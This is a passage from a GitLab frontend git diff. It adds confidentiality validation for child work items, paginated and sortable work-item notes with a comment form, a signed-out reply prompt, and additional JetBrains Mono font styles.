return sprintfWorkItem(I18N_WORK_ITEM_ADD_BUTTON_LABEL, this.childrenTypeName);
},
+ confidentialityCheckboxLabel() {
+ return sprintfWorkItem(I18N_WORK_ITEM_CONFIDENTIALITY_CHECKBOX_LABEL, this.childrenTypeName);
+ },
+ confidentialityCheckboxTooltip() {
+ return sprintfWorkItem(
+ I18N_WORK_ITEM_CONFIDENTIALITY_CHECKBOX_TOOLTIP,
+ this.childrenTypeName,
+ this.parentWorkItemType,
+ );
+ },
+ showConfidentialityTooltip() {
+ return this.isCreateForm && this.parentConfidential;
+ },
addOrCreateMethod() {
return this.isCreateForm ? this.createChild : this.addChild;
},
childWorkItemType() {
- return this.workItemTypes.find((type) => type.name === this.childrenTypeName)?.id;
+ return this.workItemTypes.find((type) => type.name === this.childrenTypeValue)?.id;
},
parentIterationId() {
return this.parentIteration?.id;
@@ -178,7 +213,10 @@ export default {
return this.parentMilestone?.id;
},
isSubmitButtonDisabled() {
- return this.isCreateForm ? this.search.length === 0 : this.workItemsToAdd.length === 0;
+ if (this.isCreateForm) {
+ return this.search.length === 0;
+ }
+ return this.workItemsToAdd.length === 0 || !this.areWorkItemsToAddValid;
},
isLoading() {
return this.$apollo.queries.availableWorkItems.loading;
@@ -186,12 +224,43 @@ export default {
addInputPlaceholder() {
return sprintfWorkItem(I18N_WORK_ITEM_SEARCH_INPUT_PLACEHOLDER, this.childrenTypeName);
},
+ tokenSelectorContainerClass() {
+ return !this.areWorkItemsToAddValid ? 'gl-inset-border-1-red-500!' : '';
+ },
+ invalidWorkItemsToAdd() {
+ return this.parentConfidential
+ ? this.workItemsToAdd.filter((workItem) => !workItem.confidential)
+ : [];
+ },
+ areWorkItemsToAddValid() {
+ return this.invalidWorkItemsToAdd.length === 0;
+ },
+ showWorkItemsToAddInvalidMessage() {
+ return !this.isCreateForm && !this.areWorkItemsToAddValid;
+ },
+ workItemsToAddInvalidMessage() {
+ return sprintf(
+ s__(
+ 'WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again.',
+ ),
+ {
+ invalidWorkItemsList: this.invalidWorkItemsToAdd.map(({ title }) => title).join(', '),
+ childWorkItemType: this.childrenTypeName,
+ parentWorkItemType: this.parentWorkItemType,
+ },
+ );
+ },
},
created() {
this.debouncedSearchKeyUpdate = debounce(this.setSearchKey, DEFAULT_DEBOUNCE_AND_THROTTLE_MS);
},
methods: {
getIdFromGraphQLId,
+ getConfidentialityTooltipTarget() {
+ // We want tooltip to be anchored to `input` within checkbox component
+ // but `$el.querySelector('input')` doesn't work. 🤷â€â™‚ï¸
+ return this.$refs.confidentialityCheckbox?.$el;
+ },
unsetError() {
this.error = null;
},
@@ -299,30 +368,54 @@ export default {
autofocus
/>
</gl-form-group>
- <gl-token-selector
- v-else
- v-model="workItemsToAdd"
- :dropdown-items="availableWorkItems"
- :loading="isLoading"
- :placeholder="addInputPlaceholder"
- menu-class="gl-dropdown-menu-wide dropdown-reduced-height gl-min-h-7!"
- class="gl-mb-4"
- data-testid="work-item-token-select-input"
- @text-input="debouncedSearchKeyUpdate"
- @focus="handleFocus"
- @mouseover.native="handleMouseOver"
- @mouseout.native="handleMouseOut"
+ <gl-form-checkbox
+ v-if="isCreateForm"
+ ref="confidentialityCheckbox"
+ v-model="confidential"
+ name="isConfidential"
+ class="gl-md-mt-5 gl-mb-5 gl-md-mb-3!"
+ :disabled="parentConfidential"
+ >{{ confidentialityCheckboxLabel }}</gl-form-checkbox
+ >
+ <gl-tooltip
+ v-if="showConfidentialityTooltip"
+ :target="getConfidentialityTooltipTarget"
+ triggers="hover"
+ >{{ confidentialityCheckboxTooltip }}</gl-tooltip
>
- <template #token-content="{ token }">
- {{ token.title }}
- </template>
- <template #dropdown-item-content="{ dropdownItem }">
- <div class="gl-display-flex">
- <div class="gl-text-secondary gl-mr-4">{{ getIdFromGraphQLId(dropdownItem.id) }}</div>
- <div class="gl-text-truncate">{{ dropdownItem.title }}</div>
- </div>
- </template>
- </gl-token-selector>
+ <div class="gl-mb-4">
+ <gl-token-selector
+ v-if="!isCreateForm"
+ v-model="workItemsToAdd"
+ :dropdown-items="availableWorkItems"
+ :loading="isLoading"
+ :placeholder="addInputPlaceholder"
+ menu-class="gl-dropdown-menu-wide dropdown-reduced-height gl-min-h-7!"
+ :container-class="tokenSelectorContainerClass"
+ data-testid="work-item-token-select-input"
+ @text-input="debouncedSearchKeyUpdate"
+ @focus="handleFocus"
+ @mouseover.native="handleMouseOver"
+ @mouseout.native="handleMouseOut"
+ >
+ <template #token-content="{ token }">
+ {{ token.title }}
+ </template>
+ <template #dropdown-item-content="{ dropdownItem }">
+ <div class="gl-display-flex">
+ <div class="gl-text-secondary gl-mr-4">{{ getIdFromGraphQLId(dropdownItem.id) }}</div>
+ <div class="gl-text-truncate">{{ dropdownItem.title }}</div>
+ </div>
+ </template>
+ </gl-token-selector>
+ <div
+ v-if="showWorkItemsToAddInvalidMessage"
+ class="gl-text-red-500"
+ data-testid="work-items-invalid"
+ >
+ {{ workItemsToAddInvalidMessage }}
+ </div>
+ </div>
<gl-button
category="primary"
variant="confirm"
diff --git a/app/assets/javascripts/work_items/components/work_item_links/work_item_tree.vue b/app/assets/javascripts/work_items/components/work_item_links/work_item_tree.vue
index f06de2ca048..81e2bb76900 100644
--- a/app/assets/javascripts/work_items/components/work_item_links/work_item_tree.vue
+++ b/app/assets/javascripts/work_items/components/work_item_links/work_item_tree.vue
@@ -40,10 +40,20 @@ export default {
type: String,
required: true,
},
+ parentWorkItemType: {
+ type: String,
+ required: false,
+ default: '',
+ },
workItemId: {
type: String,
required: true,
},
+ confidential: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
children: {
type: Array,
required: false,
@@ -221,8 +231,10 @@ export default {
data-testid="add-tree-form"
:issuable-gid="workItemId"
:form-type="formType"
+ :parent-work-item-type="parentWorkItemType"
:children-type="childType"
:children-ids="childrenIds"
+ :parent-confidential="confidential"
@addWorkItemChild="$emit('addWorkItemChild', $event)"
@cancel="hideAddForm"
/>
@@ -233,11 +245,13 @@ export default {
:can-update="canUpdate"
:issuable-gid="workItemId"
:child-item="child"
+ :confidential="child.confidential"
:work-item-type="workItemType"
:has-indirect-children="hasIndirectChildren"
@mouseover="prefetchWorkItem(child)"
@mouseout="clearPrefetching"
@removeChild="$emit('removeChild', $event)"
+ @click="$emit('show-modal', $event, $event.childItem || child)"
/>
</div>
</div>
diff --git a/app/assets/javascripts/work_items/components/work_item_links/work_item_tree_children.vue b/app/assets/javascripts/work_items/components/work_item_links/work_item_tree_children.vue
index 911cac4de88..71de6867680 100644
--- a/app/assets/javascripts/work_items/components/work_item_links/work_item_tree_children.vue
+++ b/app/assets/javascripts/work_items/components/work_item_links/work_item_tree_children.vue
@@ -63,6 +63,7 @@ export default {
:child-item="child"
:work-item-type="workItemType"
@removeChild="updateWorkItem"
+ @click="$emit('click', Object.assign($event, { childItem: child }))"
/>
</div>
</template>
diff --git a/app/assets/javascripts/work_items/components/work_item_note_signed_out.vue b/app/assets/javascripts/work_items/components/work_item_note_signed_out.vue
new file mode 100644
index 00000000000..3ef4a16bc57
--- /dev/null
+++ b/app/assets/javascripts/work_items/components/work_item_note_signed_out.vue
@@ -0,0 +1,31 @@
+<script>
+import SafeHtml from '~/vue_shared/directives/safe_html';
+import { __, sprintf } from '~/locale';
+
+export default {
+ directives: {
+ SafeHtml,
+ },
+ inject: ['registerPath', 'signInPath'],
+ computed: {
+ signedOutText() {
+ return sprintf(
+ __(
+ 'Please %{startTagRegister}register%{endRegisterTag} or %{startTagSignIn}sign in%{endSignInTag} to reply',
+ ),
+ {
+ startTagRegister: `<a href="${this.registerPath}">`,
+ startTagSignIn: `<a href="${this.signInPath}">`,
+ endRegisterTag: '</a>',
+ endSignInTag: '</a>',
+ },
+ false,
+ );
+ },
+ },
+};
+</script>
+
+<template>
+ <div v-safe-html="signedOutText" class="disabled-comment gl-text-center"></div>
+</template>
diff --git a/app/assets/javascripts/work_items/components/work_item_notes.vue b/app/assets/javascripts/work_items/components/work_item_notes.vue
index 91e90589a93..a59767d8b70 100644
--- a/app/assets/javascripts/work_items/components/work_item_notes.vue
+++ b/app/assets/javascripts/work_items/components/work_item_notes.vue
@@ -2,8 +2,12 @@
import { GlSkeletonLoader } from '@gitlab/ui';
import { s__ } from '~/locale';
import SystemNote from '~/work_items/components/notes/system_note.vue';
+import ActivityFilter from '~/work_items/components/notes/activity_filter.vue';
import { i18n, DEFAULT_PAGE_SIZE_NOTES } from '~/work_items/constants';
+import { ASC, DESC } from '~/notes/constants';
import { getWorkItemNotesQuery } from '~/work_items/utils';
+import WorkItemNote from '~/work_items/components/notes/work_item_note.vue';
+import WorkItemCommentForm from './work_item_comment_form.vue';
export default {
i18n: {
@@ -15,8 +19,11 @@ export default {
height: 40,
},
components: {
- SystemNote,
GlSkeletonLoader,
+ ActivityFilter,
+ SystemNote,
+ WorkItemCommentForm,
+ WorkItemNote,
},
props: {
workItemId: {
@@ -31,22 +38,50 @@ export default {
type: String,
required: true,
},
+ workItemType: {
+ type: String,
+ required: true,
+ },
fetchByIid: {
type: Boolean,
required: false,
default: false,
},
},
+ data() {
+ return {
+ notesArray: [],
+ isLoadingMore: false,
+ perPage: DEFAULT_PAGE_SIZE_NOTES,
+ sortOrder: ASC,
+ changeNotesSortOrderAfterLoading: false,
+ };
+ },
computed: {
- areNotesLoading() {
- return this.$apollo.queries.workItemNotes.loading;
- },
- notes() {
- return this.workItemNotes?.nodes;
+ initialLoading() {
+ return this.$apollo.queries.workItemNotes.loading && !this.isLoadingMore;
},
pageInfo() {
return this.workItemNotes?.pageInfo;
},
+ avatarUrl() {
+ return window.gon.current_user_avatar_url;
+ },
+ hasNextPage() {
+ return this.pageInfo?.hasNextPage;
+ },
+ showInitialLoader() {
+ return this.initialLoading || this.changeNotesSortOrderAfterLoading;
+ },
+ showTimeline() {
+ return !this.changeNotesSortOrderAfterLoading;
+ },
+ showLoadingMoreSkeleton() {
+ return this.isLoadingMore && !this.changeNotesSortOrderAfterLoading;
+ },
+ disableActivityFilter() {
+ return this.initialLoading || this.isLoadingMore;
+ },
},
apollo: {
workItemNotes: {
@@ -59,6 +94,7 @@ export default {
variables() {
return {
...this.queryVariables,
+ after: this.after,
pageSize: DEFAULT_PAGE_SIZE_NOTES,
};
},
@@ -66,7 +102,11 @@ export default {
const workItemWidgets = this.fetchByIid
? data.workspace?.workItems?.nodes[0]?.widgets
: data.workItem?.widgets;
- return workItemWidgets.find((widget) => widget.type === 'NOTES').discussions || [];
+ const discussionNodes =
+ workItemWidgets.find((widget) => widget.type === 'NOTES')?.discussions || [];
+ this.notesArray = discussionNodes?.nodes || [];
+ this.updateSortingOrderIfApplicable();
+ return discussionNodes;
},
skip() {
return !this.queryVariables.id && !this.queryVariables.iid;
@@ -74,6 +114,58 @@ export default {
error() {
this.$emit('error', i18n.fetchError);
},
+ result() {
+ if (this.hasNextPage) {
+ this.fetchMoreNotes();
+ }
+ },
+ },
+ },
+ methods: {
+ isSystemNote(note) {
+ return note.notes.nodes[0].system;
+ },
+ updateSortingOrderIfApplicable() {
+ // when the sort order is DESC in local storage and there is only a single page, call
+ // changeSortOrder manually
+ if (
+ this.changeNotesSortOrderAfterLoading &&
+ this.perPage === DEFAULT_PAGE_SIZE_NOTES &&
+ !this.hasNextPage
+ ) {
+ this.changeNotesSortOrder(DESC);
+ }
+ },
+ updateInitialSortedOrder(direction) {
+ this.sortOrder = direction;
+ // when the direction is reverse , we need to load all since the sorting is on the frontend
+ if (direction === DESC) {
+ this.changeNotesSortOrderAfterLoading = true;
+ }
+ },
+ changeNotesSortOrder(direction) {
+ this.sortOrder = direction;
+ this.notesArray = [...this.notesArray].reverse();
+ this.changeNotesSortOrderAfterLoading = false;
+ },
+ async fetchMoreNotes() {
+ this.isLoadingMore = true;
+ // copied from discussions batch logic - every fetchMore call has a higher
+ // amount of page size than the previous one with the limit being 100
+ this.perPage = Math.min(Math.round(this.perPage * 1.5), 100);
+ await this.$apollo.queries.workItemNotes
+ .fetchMore({
+ variables: {
+ ...this.queryVariables,
+ pageSize: this.perPage,
+ after: this.pageInfo?.endCursor,
+ },
+ })
+ .catch((error) => this.$emit('error', error.message));
+ this.isLoadingMore = false;
+ if (this.changeNotesSortOrderAfterLoading && !this.hasNextPage) {
+ this.changeNotesSortOrder(this.sortOrder);
+ }
},
},
};
@@ -81,8 +173,18 @@ export default {
<template>
<div class="gl-border-t gl-mt-5">
- <label class="gl-mb-0">{{ $options.i18n.ACTIVITY_LABEL }}</label>
- <div v-if="areNotesLoading" class="gl-mt-5">
+ <div class="gl-display-flex gl-justify-content-space-between gl-flex-wrap">
+ <label class="gl-mb-0">{{ $options.i18n.ACTIVITY_LABEL }}</label>
+ <activity-filter
+ class="gl-min-h-5 gl-pb-3"
+ :loading="disableActivityFilter"
+ :sort-order="sortOrder"
+ :work-item-type="workItemType"
+ @changeSortOrder="changeNotesSortOrder"
+ @updateSavedSortOrder="updateInitialSortedOrder"
+ />
+ </div>
+ <div v-if="showInitialLoader" class="gl-mt-5">
<gl-skeleton-loader
v-for="index in $options.loader.repeat"
:key="index"
@@ -94,16 +196,40 @@ export default {
<rect width="500" x="45" y="15" height="10" rx="4" />
</gl-skeleton-loader>
</div>
- <div v-else class="issuable-discussion gl-mb-5 work-item-notes">
- <template v-if="notes && notes.length">
- <ul class="notes main-notes-list timeline">
- <system-note
- v-for="note in notes"
- :key="note.notes.nodes[0].id"
- :note="note.notes.nodes[0]"
+ <div v-else class="issuable-discussion gl-mb-5 gl-clearfix!">
+ <template v-if="showTimeline">
+ <ul class="notes main-notes-list timeline gl-clearfix!">
+ <template v-for="note in notesArray">
+ <system-note
+ v-if="isSystemNote(note)"
+ :key="note.notes.nodes[0].id"
+ :note="note.notes.nodes[0]"
+ />
+ <work-item-note v-else :key="note.notes.nodes[0].id" :note="note.notes.nodes[0]" />
+ </template>
+
+ <work-item-comment-form
+ :query-variables="queryVariables"
+ :full-path="fullPath"
+ :work-item-id="workItemId"
+ :fetch-by-iid="fetchByIid"
+ @error="$emit('error', $event)"
/>
</ul>
</template>
+
+ <template v-if="showLoadingMoreSkeleton">
+ <gl-skeleton-loader
+ v-for="index in $options.loader.repeat"
+ :key="index"
+ :width="$options.loader.width"
+ :height="$options.loader.height"
+ preserve-aspect-ratio="xMinYMax meet"
+ >
+ <circle cx="20" cy="20" r="16" />
+ <rect width="500" x="45" y="15" height="10" rx="4" />
+ </gl-skeleton-loader>
+ </template>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/work_items/components/work_item_type_icon.vue b/app/assets/javascripts/work_items/components/work_item_type_icon.vue
index 32678e29fa4..96a6493357c 100644
--- a/app/assets/javascripts/work_items/components/work_item_type_icon.vue
+++ b/app/assets/javascripts/work_items/components/work_item_type_icon.vue
@@ -33,11 +33,6 @@ export default {
},
computed: {
iconName() {
- // TODO: Remove this once https://gitlab.com/gitlab-org/gitlab-svgs/-/merge_requests/865
- // is merged and updated in GitLab repo.
- if (this.workItemIconName === 'issue-type-keyresult') {
- return 'issue-type-key-result';
- }
return (
this.workItemIconName || WORK_ITEMS_TYPE_MAP[this.workItemType]?.icon || 'issue-type-issue'
);
diff --git a/app/assets/javascripts/work_items/constants.js b/app/assets/javascripts/work_items/constants.js
index 3cd17f4d360..81f9bf04bc8 100644
--- a/app/assets/javascripts/work_items/constants.js
+++ b/app/assets/javascripts/work_items/constants.js
@@ -31,7 +31,12 @@ export const WORK_ITEM_TYPE_ENUM_REQUIREMENTS = 'REQUIREMENTS';
export const WORK_ITEM_TYPE_ENUM_OBJECTIVE = 'OBJECTIVE';
export const WORK_ITEM_TYPE_ENUM_KEY_RESULT = 'KEY_RESULT';
+export const WORK_ITEM_TYPE_VALUE_INCIDENT = 'Incident';
export const WORK_ITEM_TYPE_VALUE_ISSUE = 'Issue';
+export const WORK_ITEM_TYPE_VALUE_TASK = 'Task';
+export const WORK_ITEM_TYPE_VALUE_TEST_CASE = 'Test case';
+export const WORK_ITEM_TYPE_VALUE_REQUIREMENTS = 'Requirements';
+export const WORK_ITEM_TYPE_VALUE_KEY_RESULT = 'Key Result';
export const WORK_ITEM_TYPE_VALUE_OBJECTIVE = 'Objective';
export const i18n = {
@@ -41,7 +46,7 @@ export const i18n = {
),
updateError: s__('WorkItem|Something went wrong while updating the work item. Please try again.'),
confidentialTooltip: s__(
- 'WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task.',
+ 'WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}.',
),
};
@@ -73,12 +78,19 @@ export const I18N_WORK_ITEM_ADD_MULTIPLE_BUTTON_LABEL = s__('WorkItem|Add %{work
export const I18N_WORK_ITEM_SEARCH_INPUT_PLACEHOLDER = s__(
'WorkItem|Search existing %{workItemType}s',
);
+export const I18N_WORK_ITEM_CONFIDENTIALITY_CHECKBOX_LABEL = s__(
+ 'WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access',
+);
+export const I18N_WORK_ITEM_CONFIDENTIALITY_CHECKBOX_TOOLTIP = s__(
+ 'WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}.',
+);
-export const sprintfWorkItem = (msg, workItemTypeArg) => {
+export const sprintfWorkItem = (msg, workItemTypeArg, parentWorkItemType = '') => {
const workItemType = workItemTypeArg || s__('WorkItem|Work item');
return capitalizeFirstCharacter(
sprintf(msg, {
workItemType: workItemType.toLocaleLowerCase(),
+ parentWorkItemType: parentWorkItemType.toLocaleLowerCase(),
}),
);
};
@@ -96,30 +108,37 @@ export const WORK_ITEMS_TYPE_MAP = {
[WORK_ITEM_TYPE_ENUM_INCIDENT]: {
icon: `issue-type-incident`,
name: s__('WorkItem|Incident'),
+ value: WORK_ITEM_TYPE_VALUE_INCIDENT,
},
[WORK_ITEM_TYPE_ENUM_ISSUE]: {
icon: `issue-type-issue`,
name: s__('WorkItem|Issue'),
+ value: WORK_ITEM_TYPE_VALUE_ISSUE,
},
[WORK_ITEM_TYPE_ENUM_TASK]: {
icon: `issue-type-task`,
name: s__('WorkItem|Task'),
+ value: WORK_ITEM_TYPE_VALUE_TASK,
},
[WORK_ITEM_TYPE_ENUM_TEST_CASE]: {
icon: `issue-type-test-case`,
name: s__('WorkItem|Test case'),
+ value: WORK_ITEM_TYPE_VALUE_TEST_CASE,
},
[WORK_ITEM_TYPE_ENUM_REQUIREMENTS]: {
icon: `issue-type-requirements`,
name: s__('WorkItem|Requirements'),
+ value: WORK_ITEM_TYPE_VALUE_REQUIREMENTS,
},
[WORK_ITEM_TYPE_ENUM_OBJECTIVE]: {
icon: `issue-type-objective`,
name: s__('WorkItem|Objective'),
+ value: WORK_ITEM_TYPE_VALUE_OBJECTIVE,
},
[WORK_ITEM_TYPE_ENUM_KEY_RESULT]: {
- icon: `issue-type-issue`,
+ icon: `issue-type-keyresult`,
name: s__('WorkItem|Key Result'),
+ value: WORK_ITEM_TYPE_VALUE_KEY_RESULT,
},
};
@@ -141,7 +160,7 @@ export const WORK_ITEM_NAME_TO_ICON_MAP = {
Task: 'issue-type-task',
Objective: 'issue-type-objective',
// eslint-disable-next-line @gitlab/require-i18n-strings
- 'Key Result': 'issue-type-key-result',
+ 'Key Result': 'issue-type-keyresult',
};
export const FORM_TYPES = {
@@ -154,4 +173,6 @@ export const FORM_TYPES = {
};
export const DEFAULT_PAGE_SIZE_ASSIGNEES = 10;
-export const DEFAULT_PAGE_SIZE_NOTES = 100;
+export const DEFAULT_PAGE_SIZE_NOTES = 30;
+
+export const WORK_ITEM_NOTES_SORT_ORDER_KEY = 'sort_direction_work_item';
diff --git a/app/assets/javascripts/work_items/graphql/create_work_item_note.mutation.graphql b/app/assets/javascripts/work_items/graphql/create_work_item_note.mutation.graphql
new file mode 100644
index 00000000000..6a7afd7bd5b
--- /dev/null
+++ b/app/assets/javascripts/work_items/graphql/create_work_item_note.mutation.graphql
@@ -0,0 +1,5 @@
+mutation createWorkItemNote($input: CreateNoteInput!) {
+ createNote(input: $input) {
+ errors
+ }
+}
diff --git a/app/assets/javascripts/work_items/graphql/discussion.fragment.graphql b/app/assets/javascripts/work_items/graphql/discussion.fragment.graphql
deleted file mode 100644
index 62ced6bdfea..00000000000
--- a/app/assets/javascripts/work_items/graphql/discussion.fragment.graphql
+++ /dev/null
@@ -1,12 +0,0 @@
-#import "~/graphql_shared/fragments/user.fragment.graphql"
-
-fragment Discussion on Note {
- id
- body
- bodyHtml
- systemNoteIconName
- createdAt
- author {
- ...User
- }
-}
diff --git a/app/assets/javascripts/work_items/graphql/project_work_items.query.graphql b/app/assets/javascripts/work_items/graphql/project_work_items.query.graphql
index 3a23db3886a..fce10f6f2a6 100644
--- a/app/assets/javascripts/work_items/graphql/project_work_items.query.graphql
+++ b/app/assets/javascripts/work_items/graphql/project_work_items.query.graphql
@@ -11,6 +11,7 @@ query projectWorkItems(
id
title
state
+ confidential
}
}
}
diff --git a/app/assets/javascripts/work_items/graphql/work_item.fragment.graphql b/app/assets/javascripts/work_items/graphql/work_item.fragment.graphql
index 6a81cc230b1..3ee263c149d 100644
--- a/app/assets/javascripts/work_items/graphql/work_item.fragment.graphql
+++ b/app/assets/javascripts/work_items/graphql/work_item.fragment.graphql
@@ -12,6 +12,7 @@ fragment WorkItem on WorkItem {
project {
id
fullPath
+ archived
}
workItemType {
id
diff --git a/app/assets/javascripts/work_items/graphql/work_item_links.query.graphql b/app/assets/javascripts/work_items/graphql/work_item_links.query.graphql
index 7fcf622cdb2..7d7bb9c7fc5 100644
--- a/app/assets/javascripts/work_items/graphql/work_item_links.query.graphql
+++ b/app/assets/javascripts/work_items/graphql/work_item_links.query.graphql
@@ -3,6 +3,7 @@ query workItemLinksQuery($id: WorkItemID!) {
id
workItemType {
id
+ name
}
title
userPermissions {
diff --git a/app/assets/javascripts/work_items/graphql/work_item_metadata_widgets.fragment.graphql b/app/assets/javascripts/work_items/graphql/work_item_metadata_widgets.fragment.graphql
index baefcdaea93..b7813ca4dc6 100644
--- a/app/assets/javascripts/work_items/graphql/work_item_metadata_widgets.fragment.graphql
+++ b/app/assets/javascripts/work_items/graphql/work_item_metadata_widgets.fragment.graphql
@@ -19,7 +19,6 @@ fragment WorkItemMetadataWidgets on WorkItemWidget {
}
... on WorkItemWidgetLabels {
type
- allowsScopedLabels
labels {
nodes {
...Label
diff --git a/app/assets/javascripts/work_items/graphql/work_item_note.fragment.graphql b/app/assets/javascripts/work_items/graphql/work_item_note.fragment.graphql
new file mode 100644
index 00000000000..5215ea10918
--- /dev/null
+++ b/app/assets/javascripts/work_items/graphql/work_item_note.fragment.graphql
@@ -0,0 +1,16 @@
+#import "~/graphql_shared/fragments/user.fragment.graphql"
+
+fragment WorkItemNote on Note {
+ id
+ bodyHtml
+ system
+ internal
+ systemNoteIconName
+ createdAt
+ author {
+ ...User
+ }
+ userPermissions {
+ adminNote
+ }
+}
diff --git a/app/assets/javascripts/work_items/graphql/work_item_notes.query.graphql b/app/assets/javascripts/work_items/graphql/work_item_notes.query.graphql
index 9439f22f955..9ea9cecc81a 100644
--- a/app/assets/javascripts/work_items/graphql/work_item_notes.query.graphql
+++ b/app/assets/javascripts/work_items/graphql/work_item_notes.query.graphql
@@ -1,5 +1,5 @@
#import "~/graphql_shared/fragments/page_info.fragment.graphql"
-#import "~/work_items/graphql/discussion.fragment.graphql"
+#import "~/work_items/graphql/work_item_note.fragment.graphql"
query workItemNotes($id: WorkItemID!, $after: String, $pageSize: Int) {
workItem(id: $id) {
@@ -8,7 +8,7 @@ query workItemNotes($id: WorkItemID!, $after: String, $pageSize: Int) {
widgets {
... on WorkItemWidgetNotes {
type
- discussions(first: $pageSize, after: $after, filter: ONLY_ACTIVITY) {
+ discussions(first: $pageSize, after: $after, filter: ALL_NOTES) {
pageInfo {
...PageInfo
}
@@ -16,7 +16,7 @@ query workItemNotes($id: WorkItemID!, $after: String, $pageSize: Int) {
id
notes {
nodes {
- ...Discussion
+ ...WorkItemNote
}
}
}
diff --git a/app/assets/javascripts/work_items/graphql/work_item_notes_by_iid.query.graphql b/app/assets/javascripts/work_items/graphql/work_item_notes_by_iid.query.graphql
index 3e0960f3f54..f401aa5595e 100644
--- a/app/assets/javascripts/work_items/graphql/work_item_notes_by_iid.query.graphql
+++ b/app/assets/javascripts/work_items/graphql/work_item_notes_by_iid.query.graphql
@@ -1,5 +1,5 @@
#import "~/graphql_shared/fragments/page_info.fragment.graphql"
-#import "~/work_items/graphql/discussion.fragment.graphql"
+#import "~/work_items/graphql/work_item_note.fragment.graphql"
query workItemNotesByIid($fullPath: ID!, $iid: String, $after: String, $pageSize: Int) {
workspace: project(fullPath: $fullPath) {
@@ -11,7 +11,7 @@ query workItemNotesByIid($fullPath: ID!, $iid: String, $after: String, $pageSize
widgets {
... on WorkItemWidgetNotes {
type
- discussions(first: $pageSize, after: $after, filter: ONLY_ACTIVITY) {
+ discussions(first: $pageSize, after: $after, filter: ALL_NOTES) {
pageInfo {
...PageInfo
}
@@ -19,7 +19,7 @@ query workItemNotesByIid($fullPath: ID!, $iid: String, $after: String, $pageSize
id
notes {
nodes {
- ...Discussion
+ ...WorkItemNote
}
}
}
diff --git a/app/assets/javascripts/work_items/graphql/work_item_tree.query.graphql b/app/assets/javascripts/work_items/graphql/work_item_tree.query.graphql
index 006ca29e01c..b4fb83b24c2 100644
--- a/app/assets/javascripts/work_items/graphql/work_item_tree.query.graphql
+++ b/app/assets/javascripts/work_items/graphql/work_item_tree.query.graphql
@@ -1,6 +1,6 @@
#import "~/graphql_shared/fragments/label.fragment.graphql"
#import "~/graphql_shared/fragments/user.fragment.graphql"
-#import "./work_item_metadata_widgets.fragment.graphql"
+#import "ee_else_ce/work_items/graphql/work_item_metadata_widgets.fragment.graphql"
query workItemTreeQuery($id: WorkItemID!) {
workItem(id: $id) {
diff --git a/app/assets/javascripts/work_items/graphql/work_item_widgets.fragment.graphql b/app/assets/javascripts/work_items/graphql/work_item_widgets.fragment.graphql
index cf3374e1737..d2a2d7927d3 100644
--- a/app/assets/javascripts/work_items/graphql/work_item_widgets.fragment.graphql
+++ b/app/assets/javascripts/work_items/graphql/work_item_widgets.fragment.graphql
@@ -1,7 +1,7 @@
#import "~/graphql_shared/fragments/label.fragment.graphql"
#import "~/graphql_shared/fragments/user.fragment.graphql"
#import "~/work_items/graphql/milestone.fragment.graphql"
-#import "./work_item_metadata_widgets.fragment.graphql"
+#import "ee_else_ce/work_items/graphql/work_item_metadata_widgets.fragment.graphql"
fragment WorkItemWidgets on WorkItemWidget {
... on WorkItemWidgetDescription {
diff --git a/app/assets/javascripts/work_items/index.js b/app/assets/javascripts/work_items/index.js
index a056fde6928..98b59449af7 100644
--- a/app/assets/javascripts/work_items/index.js
+++ b/app/assets/javascripts/work_items/index.js
@@ -10,6 +10,8 @@ export const initWorkItemsRoot = () => {
fullPath,
hasIssueWeightsFeature,
issuesListPath,
+ registerPath,
+ signInPath,
hasIterationsFeature,
hasOkrsFeature,
hasIssuableHealthStatusFeature,
@@ -26,6 +28,8 @@ export const initWorkItemsRoot = () => {
hasIssueWeightsFeature: parseBoolean(hasIssueWeightsFeature),
hasOkrsFeature: parseBoolean(hasOkrsFeature),
issuesListPath,
+ registerPath,
+ signInPath,
hasIterationsFeature: parseBoolean(hasIterationsFeature),
hasIssuableHealthStatusFeature: parseBoolean(hasIssuableHealthStatusFeature),
},
diff --git a/app/assets/stylesheets/fonts.scss b/app/assets/stylesheets/fonts.scss
index a6ecca88bd4..a023b41083d 100644
--- a/app/assets/stylesheets/fonts.scss
+++ b/app/assets/stylesheets/fonts.scss
@@ -26,7 +26,36 @@ Usage:
src: font-url('jetbrains-mono/JetBrainsMono.woff2') format('woff2');
}
+@font-face {
+ font-family: 'JetBrains Mono';
+ font-display: optional;
+ font-weight: bold;
+ src: font-url('jetbrains-mono/JetBrainsMono-Bold.woff2') format('woff2');
+}
+
+@font-face {
+ font-family: 'JetBrains Mono';
+ font-display: optional;
+ font-weight: normal;
+ font-style: italic;
+ src: font-url('jetbrains-mono/JetBrainsMono-Italic.woff2') format('woff2');
+}
+
+@font-face {
+ font-family: 'JetBrains Mono';
+ font-display: optional;
+ font-weight: bold;
+ font-style: italic;
+ src: font-url('jetbrains-mono/JetBrainsMono-BoldItalic.woff2') format('woff2');
+}
+
:root {
--default-mono-font: 'JetBrains Mono', 'Menlo';
--default-regular-font: 'GitLab Sans', -apple-system;
}
+
+// This isn't the best solution, but we needed a quick fix
+// https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107592/
+* {
+ font-variant-ligatures: none;
+}
diff --git a/app/assets/stylesheets/framework.scss b/app/assets/stylesheets/framework.scss
index 07db6b3c147..e60353578b0 100644
--- a/app/assets/stylesheets/framework.scss
+++ b/app/assets/stylesheets/framework.scss
@@ -38,6 +38,7 @@
@import 'framework/sidebar';
@import 'framework/contextual_sidebar_header';
@import 'framework/contextual_sidebar';
+@import 'framework/super_sidebar';
@import 'framework/tables';
@import 'framework/notes';
@import 'framework/tabs';
diff --git a/app/assets/stylesheets/framework/common.scss b/app/assets/stylesheets/framework/common.scss
index 14e756a5c21..0bc920b1f73 100644
--- a/app/assets/stylesheets/framework/common.scss
+++ b/app/assets/stylesheets/framework/common.scss
@@ -471,6 +471,10 @@ img.emoji {
.gl-font-size-28 { font-size: $gl-font-size-28; }
.gl-font-size-42 { font-size: $gl-font-size-42; }
+.gl-icon-button:hover {
+ background-color: $gray-100;
+}
+
.border-section {
@include gl-py-6;
@include gl-m-0;
